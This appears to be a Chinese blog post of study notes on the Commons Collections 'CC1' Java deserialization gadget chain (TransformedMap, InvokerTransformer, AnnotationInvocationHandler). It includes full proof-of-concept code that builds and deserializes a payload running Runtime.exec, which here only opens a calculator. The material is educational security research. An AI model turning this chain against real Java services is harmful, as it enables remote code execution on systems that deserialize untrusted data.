CC1-上

1.前言

URLDNS还是不放了吧,不够丢人的,
推荐feng师傅的:https://ego00.blog.csdn.net/article/details/119701408

先是利用 TransformedMap这个。最终的触发点,就是 那一串Invokertransform 那里,就那一坨东西导致最终的危险。 然后手写demo是通过 map.put() 导致执行Transformed#tranform(),从而触发的。

那么在序列化实战中,我们就要找一个类,在它的反序列化readObject()中,能够触发执行Transformed#tranform(),这里使用的是AnnotationInvocationHandler 的 readObject() 。它里面用了 map.enrty()的·setValue() , 这个也能够触发transform()。可以看3.4.0

构造器的 default 知识

2. 前置知识

2.1 入门demo

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class test1 {
    public static void main(String[] args)throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        outerMap.put("test","xxx");
   }
}

2.2 TransformedMap

The Map put methods and Map.Entry  method are affected by this class

巨重要,拿出来,详情可见 3.4.0

看一下源码,,


/**
 * Decorates another <code>Map</code> to transform objects that are added.
 * <p>
 * The Map put methods and Map.Entry  method are affected by this class.
 * Thus objects must be removed or searched for using their transformed form.
 * For example, if the transformation converts Strings to Integers, you must
 * use the Integer form to remove objects.
 * <p>
 * This class is Serializable from Commons Collections 3.1.
 *
 * @since Commons Collections 3.0
 * @version $Revision: 1.11 $ $Date: 2004/06/07 22:14:42 $
 * 
 * @author Stephen Colebourne
 */
public class TransformedMap
        extends AbstractInputCheckedMapDecorator
        implements Serializable {
		}

作用: 用于装饰一个Map对象,转换它添加的源码

看他的decorate方法


    /**
     * Factory method to create a transforming map.
     * <p>
     * If there are any elements already in the map being decorated, they
     * are NOT transformed.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    //-----------------------------------------------------------------------
    /**
     * Constructor that wraps (not copies).
     * <p>
     * If there are any elements already in the collection being decorated, they
     * are NOT transformed.
     * 
     * @param map  the map to decorate, must not be null
     * @param keyTransformer  the transformer to use for key conversion, null means no conversion
     * @param valueTransformer  the transformer to use for value conversion, null means no conversion
     * @throws IllegalArgumentException if map is null
     */
    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

静态方法 decorate() ,里面调用了类的 protected构造器。根据注释就可以理解,decorate()方法的第一个参数就是要修饰的Map对象,第二个和第三个参数都是实现了Transformer接口的类的对象,分别用来转换Map的键和值。为null的话就意味着没有转换。传出的Map是被修饰后的Map

2.2.1 触发 put 的位置

根据类注释: Map 类的 put 和 Enrty 的 getKey,getValue方法都能够触发 transform() 方法

The Map put methods and Map.Entry  method are affected by this class

可以知道,使用 put 还有 setValue 方法的时候,对应的键或者值会作为 input 参数,调用相应的Transformertransform()方法,该方法返回一个新的对象。(注意这个setValue方法,下文有用)

这个是 P 神解释的。

在这里插入图片描述

这里看一个简单的例子:

package aa;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.hibernate.type.descriptor.java.UUIDTypeDescriptor;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test03 {

    public static void main(String[] args) throws Exception {
        test1();
    }

    private static void test1() {
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), new ValueTransformer());
        outerMap.put("key","value");
        printMap(outerMap);
    }

    private static void printMap(Map map) {
        for(Object entry:map.entrySet()){
            System.out.println(1);
        }
    }
}

class KeyTransformer implements Transformer {

    @Override
    public Object transform(Object o) {
        System.out.println("调用了 transform :KeyTransformer");
        return "key";
    }
}

class ValueTransformer implements Transformer{

    @Override
    public Object transform(Object o) {
        System.out.println("调用了 transform :ValueTransformer");
        return "value";
    }
}

分析一下:

在这里插入图片描述

先看构造函数了。 这里后面讲到的 两个属性,其实都是我们进行赋值了的,就是我们自己重写的两个类了

在这里插入图片描述

是这个 outerMap.put("key","value"); 方法调用的,put 的时候,

直接进入put()

public Object put(Object key, Object value) {
    key = transformKey(key);
    value = transformValue(value);
    return getMap().put(key, value);
}

然后对 key 进行transformKey() 方法的调用,(value 同理,不分析了)看一下这个方法,
在这里插入图片描述

然后看一下这个 keyTransformer变量 ,我们在刚开始的构造函数中已经赋值了

在这里插入图片描述

这里 keyTransformer 不是 null , 然后就调用了 Transformertransform() 接口 了,

public interface Transformer {
    public Object transform(Object input);

}

在这里插入图片描述

这里因为我们在 构造函数中已经赋值了。所以就直接走我们自己写的这个接口的实现类,从而调用了这个类的 transform() ,从而打印出来结果

class KeyTransformer implements Transformer {
    @Override
    public Object transform(Object o) {
        System.out.println("调用了 transform :KeyTransformer");
        return "key";
    }
}

class ValueTransformer implements Transformer{
    @Override
    public Object transform(Object o) {
        System.out.println("调用了 transform :ValueTransformer");
        return "value";
    }
}
小结:

当我们 decorate() 之后,put 的时候,就会对我们 decorate() 的第二个,第三个参数对象执行他们的 transform() 方法

2.3 ConstantTransformer

我的理解,就是看名字和注释嘛,常量的Transformer,就是transform() 的东西都是一个常量


/**
 * Transformer implementation that returns the same constant each time.
 * <p>
 * No check is made that the object is immutable. In general, only immutable
 * objects should use the constant factory. Mutable objects should
 * use the prototype factory.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.5 $ $Date: 2004/05/16 11:36:31 $
 *
 * @author Stephen Colebourne
 */
public class ConstantTransformer implements Transformer, Serializable {

翻译: 没有检查这个对象是不可变的,通常来说,唯一不可变的对象才应该使用常量工厂,可变的对象应该使用原型工厂(翻译了个shi)

具体的·ConstantTransformertransform() :对于 input, 总是返回一个 常量

/**
 * Transforms the input by ignoring it and returning the stored constant instead.
 * 
 * @param input  the input object which is ignored
 * @return the stored constant
 */
public Object transform(Object input) {
    return iConstant;
}

看一个测试代码:

public class test03 {
    public static void main(String[] args) throws Exception {
        test2();
    }
    private static void test2() {
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), ConstantTransformer.getInstance("adam"));
        outerMap.put("key","value");
    }
}

这个也是可以的 new ContantTransformer ("adam") 一样的效果的,

小结:

下面可以看到常量 iConstant 就是传入的adam,然后ConstantTransformertransform()方法就不返回参数了,返回自己的常量。

在这里插入图片描述

P神的解释是真言简意赅

在这里插入图片描述

2.4 InvokerTransformer

首先一看名字就感觉是和反射有关的,然后看源码

/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
 *
 * @author Stephen Colebourne
 */
public class InvokerTransformer implements Transformer, Serializable {

翻译: 通过反射创建新对象实例的转换器实现

看一下 构造函数反射执行函数


    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param methodName  the method to call
     * @param paramTypes  the constructor parameter types, not cloned
     * @param args  the constructor arguments, not cloned
     */
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

    /**
     * Transforms the input to result by invoking a method on the input.
     * 
     * @param input  the input object to transform
     * @return the transformed result, null if null input
     */
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }
小结;

我们 实例化的时候 new 对象() 或者 类.newInstance()的时候传入三个参数

第一个是方法名 String

第二个是该方法的所有传入参数的类型 , Class[]

第三个方法是要传入的参数的列表。 Object[]

public static void main(String[] args) throws Exception {
    test2();
}
private static void test2() {
    Map innerMap = new HashMap();
    Map outerMap = TransformedMap.decorate(innerMap, new KeyTransformer(), new InvokerTransformer(
                            "exec",new Class[] {String.class},new Object[]{"calc.exe"}));
    outerMap.put("key",Runtime.getRuntime());
}

注意,这个的.put()的第二个参数是要传入我们要使用的方法的。

2.5 ChainedTransformer

还是先看名字,链接起来的东西,看 类注释构造函数transformer()

/**
 * Transformer implementation that chains the specified transformers together.
 * <p>
 * The input object is passed to the first transformer. The transformed result
 * is passed to the second transformer and so on.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/16 11:36:31 $
 *
 * @author Stephen Colebourne
 */
public class ChainedTransformer implements Transformer, Serializable {

翻译:将指定转换器连接到一起的 一个转换器实现输入的对象传递给第一个转换器,这个转换器的结果传递给第二个转换器,以此类推


    /**
     * Constructor that performs no validation.
     * Use <code>getInstance</code> if you want that.
     * 
     * @param transformers  the transformers to chain, not copied, no nulls
     */
    public ChainedTransformer(Transformer[] transformers) {
        super();
        iTransformers = transformers;
    }

把一个 Transformer[] 当作参数传递进去,利用这个数组的transformer()一次处理 input,并且,注意:

The input object is passed to the first transformer. The transformed result is passed to the second transformer and so on.
小结:

是一种链式的传递,前一个Transformer处理的得到的output会当作input给下一个Transformer处理。

理清了这些,很容易想到一个把这些串起来的命令执行:

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.getRuntime()),
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
    };
    Map innerMap = new HashMap();
    ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
    Map outerMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
    outerMap.put("adam","adam");
}

在这里插入图片描述

3. TransformedMap 分析

package aa;

import clojure.lang.Obj;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test02 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        Transformer[] transformers = new Transformer[]{
//            new ConstantTransformer(Runtime.getRuntime()),
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
//            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}
            new InvokerTransformer("getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[]{}}),
            new InvokerTransformer("invoke",
                new Class[]{ Object.class,Object[].class},
                new Object[]{null,new Object[]{}}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        outerMap.put("test","xxx");

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
        cons.setAccessible(true);


    }

}

我们上面的demo 是能够在本地运行的,, 但是还是不能够在实战中使用的

3.1 Runtime 问题

在序列化的时候会报无法序列化的错误。原因就在于Runtime类并没有实现Serializable接口,所以无法序列化:

这里P神采用了一种迂回的写法,因为Class类是实现了Serializable接口的,而且既然可以链式的调用方法,利用反射即可:

这里忘记了 InvokerTransformer # transform() 了,直接再贴一次

在这里插入图片描述

package aa;

import clojure.lang.Obj;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class test02 {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        Transformer[] transformers = new Transformer[]{
//            new ConstantTransformer(Runtime.getRuntime()),
            new ConstantTransformer(Class.forName("java.lang.Runtime")),
//            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}
            new InvokerTransformer("getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[]{}}),
            new InvokerTransformer("invoke",
                new Class[]{ Object.class,Object[].class},
                new Object[]{null,new Object[]{}}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain);
        outerMap.put("test","xxx");
    }

}
对反射参数进行详细解释

总是感觉 InvokerTransformer()中的参数看不明白,最后一个exec比较熟悉

这样看看 getMethod() 需要什么参数,然后我们就会传参了

在这里插入图片描述

其实Object#getMethod() 只需要一个参数,就是方法名字getRuntime,然后第三个参数后面的只是为和第二个参数相匹配。

new InvokerTransformer("getMethod",
                       new Class[]{String.class,Class[].class},
                       new Object[]{"getRuntime",new Class[]{}
                     }

这个invoke()
在这里插入图片描述

变长变量 == 数组

invoke()是无参的,但是第二个参数我们要传入的所有参数的类型。然后第三个参数,是我们实际要传入的参数列表

new InvokerTransformer("invoke",
                       new Class[]{ Object.class,Object[].class},
                       new Object[]{null,new Object[]{}});

这个exec()
在这里插入图片描述

第一个参数方法名第二个参数我们要传入的所有参数的类型第三个参数实际传入的参数列表

但是注意:我们传入的形式已经被InvokerTransformer的构造函数给确定下来了,是不能变的

new InvokerTransformer("exec",
                       new Class[]{String.class},
                       new Object[]{"calc.exe"});

3.2 AnnotationInvocationHandler

前面我们说过的,这个漏洞要触发,需要我们向Map中加入一个新的元素,在上面的demo中,我们可以手工执行outerMap.put("test","xxx") 来触发漏洞,

了解完前置的知识后,就可以考虑真正的反序列化链了。在上面的命令执行中,最终我们是手动的执行了put()方法来实现了漏洞的触发。在反序列化中,我们需要找到一个可以用的类的readObject()方法,通过这个方法最终可以触发漏洞

最终是MapEntry#setValue()触发的,会触发TransformedMaptransfrom()

这个类是sun.reflect.annotation.AnnotationInvocationHandle

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

readObject方法中,关键的这几行代码:

Iterator var4 = this.memberValues.entrySet().iterator();
Entry var5 = (Entry)var4.next();
var5.setValue(

前面提到了,setValue同样可以触发我们的“回调函数”,因此可以触发漏洞。至此链也就理清了,剩下的就是构造POC的细节问题了。

既然要反序列化AnnotationInvocationHandler的对象,自然要构造出来。看一下它的构造器:

package sun.reflect.annotation;

class AnnotationInvocationHandler implements InvocationHandler, Serializable {

    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

发现这个构造器没有public,是default的。而sun.reflect.annotation.AnnotationInvocationHandler是在JDK内部的类,不能直接实例化,不能直接用new实例化,所以也需要用反射才行,把我们构造好的Map对象作为第二个参数传进去:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
Object o = cons.newInstance(Retention, outerMap);

这里有一个疑问就是Class<? extends Annotation> var1为什么要用Retention.class,这一点后面再提。

那必然是 Retentent 是继承自 Annotation。我才的啦,

看网上对这个的介绍是

Retention(保留)注解说明,这种类型的注解会被保留到那个阶段. 有三个值:
1.RetentionPolicy.SOURCE —— 这种类型的Annotations只在源代码级别保留,编译时就会被忽略
2.RetentionPolicy.CLASS —— 这种类型的Annotations编译时被保留,在class文件中存在,但JVM将会忽略
3.RetentionPolicy.RUNTIME —— 这种类型的Annotations将被JVM保留,所以他们能在运行时被JVM或其他使用反射机制的代码所读取和使用

看了P神笔记才知道还有一个需要注意的一点是var7不能为null,如何满足这个条件

sun.reflect.annotation.AnnotationInvocationHandler构造函数的第一个参数必须为Annotation的子类,并且其中必须有一个方法,假设为X
被TransformedMap修饰的Map当中必须有键名为X的元素

3.4 AnnotationInvocationHandler反序列化的过程跟踪

3.4.0 对于 Anno… 小结一下

MapEntry#setValue()触发的,会触发TransformedMaptransfrom()

跟反序列化,直接来到 AnnotationInvocationHandlerreadObject()这里
在这里插入图片描述

可见var2就是我们传入的 Retention.class这个东西,

然后这个 memberTypes()方法就是返回自身的memberTypes属性,也就是 HashMap

    public Map<String, Class<?>> memberTypes() {
        return this.memberTypes;
    }

在这里插入图片描述

然后再往后走,我感觉是这个 var2这里的members().get()触发的吧,---------后面debug,证明我是错误的了。
在这里插入图片描述

不是他们说的 setValue

var5是一个 MapEntry ,不过这个好像也能够触发
在这里插入图片描述

来了,Debug进来了这个是 var2.members().get(var6) 这个的get() 了

在这里插入图片描述

然后进入 hash ,那这里就是不对的了。这个key是 一个字符串。不是我们想要的 那个啥,,
在这里插入图片描述

3.4.1 到了 setValue()了

在这里插入图片描述

这个setValue()MapEntry的方法,
在这里插入图片描述

然后MapEntryparent竟然是 TransformedMap类,
在这里插入图片描述

然后进入TransformedMap#chechSetValue()。。。

然后!!这里这个变量就奇奇妙妙的变成 ChainedTransformrer了!!!这个 valueTransformer不就是我们
在这里插入图片描述

就是我们开始时传入的 transformerChain

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

然后自然就走 ChainedTransformer#transform()啦。 然后就是那一趟了
在这里插入图片描述

然后这一趟,跟着debug走,直到反射走完,就弹出来计算器了
在这里插入图片描述

3.3 readObject中的细节

这里不懂注解,直接看feng师傅的了

https://ego00.blog.csdn.net/article/details/119701408

3.4 最后的注解那里不懂

最后就是这个样子了,就是最后面的注解那里没有弄明白

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;


public class test01 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class,
                Class[].class }, new Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class,
                Object[].class }, new Object[] { null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[] { String.class },
                new String[] {
                    "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream  oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

在这里插入图片描述

package ysoserial.test.adamtest;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;


import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;


public class test01 {

    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] {String.class,
                Class[].class }, new Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class,
                Object[].class }, new Object[] { null, new Object[0]
            }),
            new InvokerTransformer("exec", new Class[] { String.class },
                new String[] {
                    "calc.exe" }),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();

        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
//        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Object o  = (Object) construct.newInstance(Retention.class, outerMap);

        byte[] bytes = serialize(o);
        unserialize(bytes);
    }

    private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
        ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
        ObjectInputStream ois = new ObjectInputStream(bais);
        ois.readObject();
    }

    private static byte[] serialize(Object o) throws IOException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        return baos.toByteArray();
    }
}

4. 后记

最终的触发点,就是 那一串Invokertransform 那里,就那一坨东西导致最终的危险。

这个只能在 jdk8u71之前,后来的化,就变了

详情可以看P神的 第10 篇文章。

然后就是学习 LazyMap 了

5. 参考:

https://y4tacker.blog.csdn.net/article/details/117279811

https://ego00.blog.csdn.net/article/details/119701408

《Java安全漫谈》忘了第几篇了。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值